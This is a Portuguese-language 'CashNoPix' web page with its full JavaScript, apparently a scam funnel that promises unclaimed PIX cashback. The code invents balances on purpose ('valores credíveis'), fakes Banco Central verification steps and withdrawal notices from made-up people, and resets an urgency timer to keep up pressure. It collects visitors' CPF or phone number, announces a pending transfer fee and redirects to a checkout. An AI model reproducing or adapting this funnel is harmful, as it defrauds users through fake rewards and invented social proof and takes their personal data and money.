CashNoPix

CashNoPix

04:59 para expirar
R$ 51,23
CASH
NO PIX

CARREGANDO...

Presente
Presente Natal

Seu progresso: 1/12

$ R$ 0,00

em potencial encontrado

Buscando... 0%

Calculando valores de recompensa...

Fernanda G. esqueceu R$ 89,01 de cashback

VALOR: R$ 89,01
Produto
02:14

O que você achou do produto?

Samsung Galaxy S26 Ultra

Validação de Segurança
VALOR: R$ 49,67

CÓDIGO DE RESGATE

STWX

Digite os caracteres acima para confirmar

$

Saldo atualizado!

Você recebeu:

R$ 95,50

Nu

Você recebeu um PIX!

R$ 0,05 de CashNoPix Pagamentos

agora

Parabéns!

Você acaba de ganhar R$ 202,09!

Assista um curto vídeo com um passo a passo explicativo para você aprender a cadastrar sua chave PIX e realizar o seu primeiro SAQUE.

CashNoPix

R$ 202,09

No final do vídeo será liberada a verificação da sua chave Pix para saque

🔒 O botão será desbloqueado no final do vídeo

Parabéns!

Você acumulou o saldo de

R$ 202,09

Cadastre sua chave PIX para o próximo passo!

Selecione seu tipo de chave PIX

Verificação de Segurança

1 Iniciando protocolo de transferência...
2 Sincronizando com gateway Bacen...
3 Autenticando chave PIX via SSL...

PIX enviado com sucesso!

O valor de R$ 0,05 foi depositado na sua conta.

Verifique suas notificações ou extrato bancário.

Complete as etapas restantes para realizar seu saque completo!

Taxa de Transferência pendente!

Para sacar seus R$ 202,09, você deve confirmar seu registro.

Atenção

Como forma de pré-validação, será depositado o valor de R$ 0,05 em sua conta.

Certifique-se de inserir corretamente a chave PIX, pois é por meio dela que você receberá o valor acumulado e os futuros pagamentos do CashNoPix.

CashNoPix

R$ 467,00

No final do vídeo será liberada a verificação da sua chave Pix para saque

🔒 O botão será desbloqueado no final do vídeo

🔒

Segurando R$ 467,38 de Saldo

Sua chave PIX foi vinculada com sucesso. Estamos abrindo o canal criptografado de liberação do Banco Central.

Ambiente Criptografado Ativo

Marcos R. acabou de sacar R$ 467,38

Saque Realizado com Sucesso

// --- UTM PASSER (ULTRA ROBUST) --- function getUTMs() { const params = new URLSearchParams(window.location.search); const utms = {}; const utmKeys = ['utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content', 'src', 'sck', 'xcod', 'fbclid', 'gclid']; // 1. Prioridade: URL utmKeys.forEach(key => { if (params.get(key)) utms[key] = params.get(key); }); // 2. Fallback: LocalStorage (Padrão + UTMify) utmKeys.forEach(key => { if (!utms[key]) { utms[key] = localStorage.getItem(key) || localStorage.getItem('_' + key) || ""; } }); // 3. Fallback UTMify Objeto Completo (Caso eles salvem tudo junto) try { const utmifyData = JSON.parse(localStorage.getItem('utmify_params') || '{}'); utmKeys.forEach(key => { if (!utms[key] && utmifyData[key]) utms[key] = utmifyData[key]; }); } catch(e) {} return utms; } function goToCheckout(event) { event.preventDefault(); // Exibe a tela de transição de saldo com animação dramática hideAllSteps(); document.getElementById('step-redirecting').classList.remove('hidden-step'); // Set dynamic balance on redirecting screen const elRedirectBal = document.getElementById('redirecting-balance'); if (elRedirectBal) { elRedirectBal.textContent = formatMoney(globalBalance); } // Ensure balance is saved to localStorage just in case localStorage.setItem('customer_balance', globalBalance.toString()); const utmString = new URLSearchParams(getUTMs()).toString(); const target = event.currentTarget.getAttribute('href'); const finalDestination = target + (utmString ? "?" + utmString : ""); // Aguarda 2.8 segundos de "conexão criptografada" antes de redirecionar setTimeout(() => { window.location.href = finalDestination; }, 2800); } // --- VALORES CREDÍVEIS (NÚMEROS QUEBRADOS) --- // Cada visita gera um saldo inicial "calculado pelo algoritmo" function generateCredibleBalance() { // Gera um valor entre 45.30 e 53.90 com centavos quebrados const bases = [45.30, 46.17, 47.80, 48.93, 49.67, 51.23, 52.41, 53.87]; return bases[Math.floor(Math.random() * bases.length)]; } // ===== RANDOM CODE GENERATION ===== function generateRandomCode() { const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; let result = ''; for (let i = 0; i < 4; i++) { result += chars.charAt(Math.floor(Math.random() * chars.length)); } return result; } // DB DO FUNIL OFFLINE const sequenceData = [ { radarValue: 55.50, productName: "Samsung Galaxy S26 Ultra", productBrand: "Samsung", productImage: "./images/s26-ultra.png", rewardValue: 55.50, progressPercent: 51, progressFraction: "1/12" }, { radarValue: 48.30, productName: "Jogo de Panelas de Cerâmica Monaco", productBrand: "Tramontina", productImage: "./images/panelas-americanas.webp", rewardValue: 48.30, progressPercent: 52, progressFraction: "2/12" }, { radarValue: 48.29, productName: "Fogão de Indução Electrolux com Duplo Forno", productBrand: "Electrolux", productImage: "./images/fogao-casas-bahia.webp", rewardValue: 48.29, progressPercent: 53, progressFraction: "3/12" }, { radarValue: 72.80, productName: "Geladeira Smart Bespoke", productBrand: "Samsung", productImage: "./images/geladeira-bespoke.png", rewardValue: 72.80, progressPercent: 55, progressFraction: "4/12" }, { radarValue: 55.60, productName: "iPhone 17 Pro Max", productBrand: "Apple", productImage: "./images/iPhone 17 Pro Max.png", rewardValue: 55.60, progressPercent: 51, progressFraction: "5/12" }, { radarValue: 51.60, productName: "Smart TV Neo QLED 8K 75\"", productBrand: "Samsung", productImage: "./images/tv-neo-qled.png", rewardValue: 51.60, progressPercent: 60, progressFraction: "6/12" } ].map(p => ({ ...p, code: generateRandomCode() })); let currentStepIndex = 0; let globalBalance = generateCredibleBalance(); let quizInterval; let urgencyInterval; let urgencySeconds = 299; // 4:59 const randomNames = ["Fernanda G.", "Ricardo M.", "Juliana S.", "Marcos P.", "Amanda L.", "Bruno C.", "Tatiane R.", "Felipe A."]; const elBalance = document.getElementById('header-balance'); const elProgress = document.getElementById('progress-bar'); const header = document.getElementById('app-header'); const progContainer = document.getElementById('progress-container'); function formatMoney(value) { return `R$ ${value.toLocaleString('pt-BR', { minimumFractionDigits: 2, maximumFractionDigits: 2 })}`; } function animateValue(obj, start, end, duration) { let startTimestamp = null; const step = (timestamp) => { if (!startTimestamp) startTimestamp = timestamp; const progress = Math.min((timestamp - startTimestamp) / duration, 1); const currentVal = progress * (end - start) + start; if (obj) obj.textContent = formatMoney(currentVal); if (progress < 1) { window.requestAnimationFrame(step); } else { if (obj) obj.textContent = formatMoney(end); } }; window.requestAnimationFrame(step); } function updateHeaderUI(targetProgressPercent = null) { elBalance.textContent = formatMoney(globalBalance); if (targetProgressPercent !== null) { elProgress.style.width = `${targetProgressPercent}%`; } } function hideAllSteps() { ['step-intro', 'step-searching', 'step-quiz', 'step-code', 'step-reward', 'step-vsl1', 'step-attention', 'step-pre-saque', 'step-pix', 'step-processing', 'step-vsl2', 'step-pix-confirmed', 'step-redirecting'].forEach(id => { const el = document.getElementById(id); if (el) el.classList.add('hidden-step'); }); document.body.style.backgroundColor = "#E8F5E9"; document.querySelectorAll('iframe').forEach(iframe => { try { iframe.contentWindow.postMessage('pause', '*'); iframe.contentWindow.postMessage('{"method":"pause"}', '*'); const currentSrc = iframe.src; iframe.src = currentSrc; } catch (e) { } }); } function saveState(stepId) { // Evita salvar em etapas de transição pura if (['step-intro', 'step-processing'].includes(stepId)) return; const state = { currentStepIndex: currentStepIndex, globalBalance: globalBalance, pixRegisteredBefore: !!window.pixRegisteredBefore, currentStepId: stepId, timestamp: Date.now() }; localStorage.setItem('cashnopix_state', JSON.stringify(state)); } function clearState() { localStorage.removeItem('cashnopix_state'); } function showStep(id) { hideAllSteps(); document.getElementById(id).classList.remove('hidden-step'); window.scrollTo(0, 0); if (id === 'step-quiz') { startQuizTimer(); } else { clearInterval(quizInterval); } saveState(id); } function startQuizTimer() { clearInterval(quizInterval); let timeLeft = 134; // 02:14 similar ao print const timerEl = document.getElementById('quiz-timer'); const updateTimer = () => { const mins = Math.floor(timeLeft / 60); const secs = timeLeft % 60; timerEl.textContent = `Tempo restante: ${mins.toString().padStart(2, '0')}:${secs.toString().padStart(2, '0')}`; if (timeLeft <= 0) { clearInterval(quizInterval); } timeLeft--; }; updateTimer(); quizInterval = setInterval(updateTimer, 1000); } // --- TIMER DE URGÊNCIA (AVERÇÃO À PERDA) --- function startUrgencyTimer() { clearInterval(urgencyInterval); const clockEl = document.getElementById('urgency-clock'); const barFill = document.getElementById('expiry-bar-fill'); const updateUrgency = () => { const mins = Math.floor(urgencySeconds / 60); const secs = urgencySeconds % 60; if (clockEl) clockEl.textContent = `${mins.toString().padStart(2, '0')}:${secs.toString().padStart(2, '0')}`; if (barFill) barFill.style.width = `${(urgencySeconds / 299) * 100}%`; if (urgencySeconds <= 0) { clearInterval(urgencyInterval); // Reseta para manter a pressão urgencySeconds = 299; } urgencySeconds--; }; updateUrgency(); urgencyInterval = setInterval(updateUrgency, 1000); } // --- MAQUINA DE FLUXO --- function startSearching() { if (currentStepIndex === 3) { if (!window.pixRegisteredBefore) { showPreSaqueReward(); return; } } if (currentStepIndex >= sequenceData.length) { clearState(); // Fim do funil, limpa o state document.body.style.backgroundColor = "#4CAF50"; header.classList.add('hidden-step'); progContainer.classList.add('hidden-step'); // Set dynamic balance in VSL 2 header badge const vsl2HeaderBal = document.getElementById('vsl2-header-balance'); if (vsl2HeaderBal) { vsl2HeaderBal.textContent = formatMoney(globalBalance); } // Store final balance in localStorage for redirect page and checkout localStorage.setItem('customer_balance', globalBalance.toString()); const wrapper = document.getElementById('vsl2-video-wrapper'); if (wrapper && !document.getElementById('vid-69a63b47260b750c46ab532a')) { wrapper.innerHTML = ``; let s = document.createElement("script"); s.src = "https://scripts.converteai.net/95d7d06e-92ca-4eda-94ca-11a49862f3c0/players/69a63b47260b750c46ab532a/v4/player.js?autoplay=0&controls=1"; s.async = true; wrapper.appendChild(s); } showStep('step-vsl2'); startVsl2Timer(); return; } const data = sequenceData[currentStepIndex]; document.getElementById('search-progress-text').textContent = data.progressFraction; header.classList.remove('hidden-step'); progContainer.classList.remove('hidden-step'); updateHeaderUI(data.progressPercent - 1); startUrgencyTimer(); showStep('step-searching'); try { document.getElementById('audio-analysis').play(); } catch (e) { } const targetVal = data.radarValue; const srText = document.getElementById('search-value-text'); const srBar = document.getElementById('search-progress-bar'); const srPct = document.getElementById('search-percent'); srText.textContent = `R$ 0,00`; srBar.style.width = `0%`; srPct.textContent = `0%`; let ticks = 0; const limit = 50; const stepSpeedMultiplier = currentStepIndex === 0 ? 20 : 40 + (currentStepIndex * 12); const inc = setInterval(() => { ticks++; let pct = (ticks / limit) * 100; let cVal = (ticks / limit) * targetVal; srText.textContent = formatMoney(cVal); srBar.style.width = `${pct}%`; srPct.textContent = `${Math.floor(pct)}%`; if (ticks >= limit) { clearInterval(inc); try { document.getElementById('audio-analysis').pause(); } catch (e) { } setTimeout(() => { proceedToCode(); }, 800); } }, stepSpeedMultiplier); } function showQuizStep() { const data = sequenceData[currentStepIndex]; const randomName = randomNames[Math.floor(Math.random() * randomNames.length)]; document.getElementById('product-image').src = data.productImage; document.getElementById('product-name-display').textContent = data.productName; document.getElementById('random-person').textContent = randomName; document.getElementById('dynamic-reward-text').textContent = formatMoney(data.rewardValue); document.getElementById('card-reward-label').textContent = `VALOR: ${formatMoney(data.rewardValue)}`; updateHeaderUI(data.progressPercent); showStep('step-quiz'); } function proceedToCode() { const data = sequenceData[currentStepIndex]; document.getElementById('generated-code').textContent = data.code; document.getElementById('code-reward-header').textContent = `Valor: ${formatMoney(data.rewardValue)}`; for (let i = 1; i <= 4; i++) { const inp = document.getElementById('code-in-' + i); inp.value = ''; inp.style.borderColor = "#C8E6C9"; } document.getElementById('btn-submit-code').disabled = true; showStep('step-code'); } function moveToNextCode(currentInput, nextInputId) { currentInput.value = currentInput.value.replace(/[^A-Za-z]/g, '').toUpperCase(); if (currentInput.value.length >= 1) { if (nextInputId) document.getElementById(nextInputId).focus(); } verifyCodeInputContent(); } function verifyCodeInputContent() { let fullCode = ""; for (let i = 1; i <= 4; i++) { fullCode += document.getElementById('code-in-' + i).value; } if (fullCode.length === 4) { submitCode(fullCode); } } function verifyCode(currentInput) { currentInput.value = currentInput.value.replace(/[^A-Za-z]/g, '').toUpperCase(); verifyCodeInputContent(); } // --- PIX / PROCESSAMENTO --- function selectChave(type) { document.getElementById('btn-cpf').className = (type === 'cpf') ? 'btn-green' : 'btn-white'; document.getElementById('btn-cpf').style.background = (type === 'cpf') ? '' : 'transparent'; document.getElementById('btn-cpf').style.color = (type === 'cpf') ? 'white' : '#64748B'; document.getElementById('btn-tel').className = (type === 'tel') ? 'btn-green' : 'btn-white'; document.getElementById('btn-tel').style.background = (type === 'tel') ? '' : 'transparent'; document.getElementById('btn-tel').style.color = (type === 'tel') ? 'white' : '#64748B'; document.getElementById('pix-input').value = ''; document.getElementById('btn-submit-pix').disabled = true; const input = document.getElementById('pix-input'); if (type === 'cpf') { input.placeholder = "000.000.000-00"; input.maxLength = 14; } else { input.placeholder = "(00) 00000-0000"; input.maxLength = 15; } } function formatPix(input) { let v = input.value.replace(/\D/g, ''); if (document.getElementById('btn-cpf').className.includes('btn-green')) { v = v.replace(/(\d{3})(\d)/, '$1.$2'); v = v.replace(/(\d{3})(\d)/, '$1.$2'); v = v.replace(/(\d{3})(\d{1,2})$/, '$1-$2'); document.getElementById('btn-submit-pix').disabled = v.length !== 14; } else { v = v.replace(/^(\d{2})(\d)/g, '($1) $2'); v = v.replace(/(\d)(\d{4})$/, '$1-$2'); document.getElementById('btn-submit-pix').disabled = v.length !== 15; } input.value = v; } function processPix() { const pixKey = document.getElementById('pix-input').value; if (!pixKey || pixKey.length < 5) { alert("Por favor, insira uma chave PIX válida."); return; } const btn = document.getElementById('btn-submit-pix'); const originalText = btn.innerHTML; btn.innerHTML = "Processando..."; btn.disabled = true; // Transição para tela de processamento showStep('step-processing'); document.getElementById('card-processing').classList.remove('hidden-step'); document.getElementById('card-pix-success').classList.add('hidden-step'); // Animação do Scanner de Elite const steps = [1, 2, 3]; steps.forEach((num, index) => { setTimeout(() => { const stepEl = document.getElementById(`scan-step-${num}`); const iconEl = stepEl.querySelector('.step-icon'); stepEl.style.color = "#4CAF50"; iconEl.innerHTML = "✓"; iconEl.style.backgroundColor = "#4CAF50"; iconEl.style.borderColor = "#4CAF50"; iconEl.style.color = "white"; try { document.getElementById('audio-reward').play(); } catch(e){} }, (index + 1) * 800); }); setTimeout(() => { // EXIBE A TELA DE SUCESSO DENTRO DO PROCESSAMENTO document.getElementById('card-processing').classList.add('hidden-step'); document.getElementById('card-pix-success').classList.remove('hidden-step'); // Marca que o PIX já foi registrado para não pedir de novo no meio window.pixRegisteredBefore = true; btn.innerHTML = originalText; btn.disabled = false; }, 3500); } function continueAfterPix() { showStep('step-searching'); startSearching(); } function submitCode(fullCode) { const data = sequenceData[currentStepIndex]; if (fullCode === data.code) { showQuizStep(); } else { for (let i = 1; i <= 4; i++) { const inp = document.getElementById('code-in-' + i); inp.style.borderColor = "#EF4444"; inp.style.color = "#EF4444"; } setTimeout(() => { for (let i = 1; i <= 4; i++) { const inp = document.getElementById('code-in-' + i); inp.value = ''; inp.style.borderColor = "#C8E6C9"; inp.style.color = "#1E293B"; } document.getElementById('code-in-1').focus(); }, 800); } } function triggerReward() { const data = sequenceData[currentStepIndex]; try { document.getElementById('audio-reward').play(); } catch (e) { } let oldBalance = globalBalance; globalBalance += data.rewardValue; header.classList.add('hidden-step'); progContainer.classList.add('hidden-step'); showStep('step-reward'); const rewardEl = document.getElementById('reward-value-text'); animateValue(rewardEl, 0, data.rewardValue, 1500); const headerEl = document.getElementById('header-balance'); animateValue(headerEl, oldBalance, globalBalance, 1500); } function nextSequence() { currentStepIndex++; startSearching(); } function showPreSaqueReward() { document.body.style.backgroundColor = "#4CAF50"; header.classList.add('hidden-step'); progContainer.classList.add('hidden-step'); showStep('step-pre-saque'); const el = document.getElementById('presaqui-balance'); animateValue(el, 0, globalBalance, 1500); } // --- VSL 1 --- function startVsl1() { document.body.style.backgroundColor = "#4CAF50"; clearInterval(urgencyInterval); // Para o timer de urgência // Set dynamic header balance in VSL 1 const vsl1HeaderBal = document.getElementById('vsl1-header-balance'); if (vsl1HeaderBal) { vsl1HeaderBal.textContent = formatMoney(globalBalance); } const wrapper = document.getElementById('vsl1-video-wrapper'); if (wrapper && !document.getElementById('vid-69a6399439c8b3b8846e2051')) { wrapper.innerHTML = ``; let s = document.createElement("script"); s.src = "https://scripts.converteai.net/95d7d06e-92ca-4eda-94ca-11a49862f3c0/players/69a6399439c8b3b8846e2051/v4/player.js?autoplay=0&controls=1"; s.async = true; wrapper.appendChild(s); } showStep('step-vsl1'); const TIME_IN_MS = 762000; // 12 minutos e 42 segundos setTimeout(() => { document.getElementById('vsl1-lock-container').style.display = 'none'; document.getElementById('vsl1-unlock-container').style.display = 'block'; }, TIME_IN_MS); } // --- VSL 2 --- function startVsl2Timer() { const TIME_IN_MS_VSL2 = 290000; setTimeout(() => { const lock = document.getElementById('vsl2-lock-container'); const unlock = document.getElementById('vsl2-unlock-container'); if (lock) lock.style.display = 'none'; if (unlock) unlock.style.display = 'block'; }, TIME_IN_MS_VSL2); } function showCadastroPix() { const vsl1 = document.getElementById('vid-69a6399439c8b3b8846e2051'); if (vsl1) vsl1.remove(); showStep('step-attention'); setTimeout(() => { document.getElementById('final-balance-text').textContent = formatMoney(globalBalance); }, 50); } function showOauthAttention() { header.classList.remove('hidden-step'); progContainer.classList.add('hidden-step'); showStep('step-pix'); const el = document.getElementById('final-balance-text'); animateValue(el, 0, globalBalance, 1500); // Also update final-checkout-balance just in case const elFinalCheckout = document.getElementById('final-checkout-balance'); if (elFinalCheckout) { elFinalCheckout.textContent = formatMoney(globalBalance); } } // --- EFEITO CONFETI AO CARREGAR --- // --- ELITE UI LOGIC (Online Counter, Spots, Notifications) --- const firstNames = ["Marcos", "Lucas", "Ana", "Julia", "Ricardo", "Fernanda", "Gabriel", "Beatriz", "Thiago", "Carla"]; const lastInitials = ["R.", "S.", "M.", "L.", "P.", "C.", "A.", "F.", "G.", "B."]; function showNotification() { const notif = document.getElementById('payout-notification'); const name = firstNames[Math.floor(Math.random() * firstNames.length)]; const initial = lastInitials[Math.floor(Math.random() * lastInitials.length)]; const value = (Math.random() * (600 - 150) + 150).toFixed(2).replace('.', ','); document.getElementById('notif-text').innerHTML = `${name} ${initial} acabou de sacar R$ ${value}`; notif.classList.add('show'); setTimeout(() => { notif.classList.remove('show'); }, 4000); } function initEliteFeatures() { // Online Counter setInterval(() => { const counter = document.getElementById('online-counter'); if(!counter) return; let val = parseInt(counter.innerText.replace('.', '')); val += Math.floor(Math.random() * 5) - 2; counter.innerText = val.toLocaleString('pt-BR'); }, 3000); // Spots Counter setInterval(() => { const spots = document.getElementById('spots-counter'); if(!spots) return; let val = parseInt(spots.innerText); if (val > 3 && Math.random() > 0.8) { val--; spots.innerText = val; } }, 10000); // First notification after 5s, then every 12s setTimeout(() => { showNotification(); setInterval(showNotification, 12000); }, 5000); } window.addEventListener('load', () => { initEliteFeatures(); // VERIFICA SE TEM STATE SALVO const savedStateStr = localStorage.getItem('cashnopix_state'); let restored = false; if (savedStateStr) { try { const state = JSON.parse(savedStateStr); // Checa se passou menos de 24 horas (24 * 60 * 60 * 1000) if (Date.now() - state.timestamp < 86400000) { currentStepIndex = state.currentStepIndex; globalBalance = state.globalBalance; window.pixRegisteredBefore = state.pixRegisteredBefore; document.getElementById('intro-loading').style.display = 'none'; document.getElementById('intro-gift').classList.add('hidden-step'); document.getElementById('step-intro').classList.add('hidden-step'); restored = true; // Redireciona para o passo exato if (state.currentStepId === 'step-quiz') { showQuizStep(); } else if (state.currentStepId === 'step-code') { proceedToCode(); } else if (state.currentStepId === 'step-pre-saque') { showPreSaqueReward(); } else if (state.currentStepId === 'step-pix') { showOauthAttention(); } else if (state.currentStepId === 'step-attention') { showCadastroPix(); } else if (state.currentStepId === 'step-vsl1') { startVsl1(); } else if (state.currentStepId === 'step-reward') { // Se estava vendo o reward, vai pro próximo logo startSearching(); } else { // Default: searching startSearching(); } } else { clearState(); } } catch(e) { clearState(); } } if (!restored) { // Atualiza o valor dinâmico na intro e header const introBalanceEl = document.getElementById('intro-balance-value'); if (introBalanceEl) introBalanceEl.textContent = formatMoney(globalBalance) + '!'; if (elBalance) elBalance.textContent = formatMoney(globalBalance); // INTRO SEQUENCE: Loading -> Box Pops up with Present -> Present Explodes -> Shows Text setTimeout(() => { const loadingScreen = document.getElementById('intro-loading'); const giftScreen = document.getElementById('intro-gift'); if (loadingScreen && giftScreen) { // Hide loading, show the box loadingScreen.style.display = 'none'; giftScreen.classList.remove('hidden-step'); giftScreen.classList.add('pop-up-card'); // The explode-animation on the present runs automatically for 2.5s. // After 2.5s, we swap the present for the reward content setTimeout(() => { const presentOnly = document.getElementById('box-present-only'); const rewardContent = document.getElementById('box-reward-content'); if (presentOnly && rewardContent) { presentOnly.style.display = 'none'; rewardContent.style.display = 'flex'; } }, 2500); } }, 2500); } var duration = 3 * 1000; var animationEnd = Date.now() + duration; var defaults = { startVelocity: 30, spread: 360, ticks: 60, zIndex: 9999 }; function randomInRange(min, max) { return Math.random() * (max - min) + min; } var interval = setInterval(function () { var timeLeft = animationEnd - Date.now(); if (timeLeft <= 0) { return clearInterval(interval); } var particleCount = 50 * (timeLeft / duration); confetti(Object.assign({}, defaults, { particleCount, origin: { x: randomInRange(0.1, 0.3), y: Math.random() - 0.2 } })); confetti(Object.assign({}, defaults, { particleCount, origin: { x: randomInRange(0.7, 0.9), y: Math.random() - 0.2 } })); }, 250); });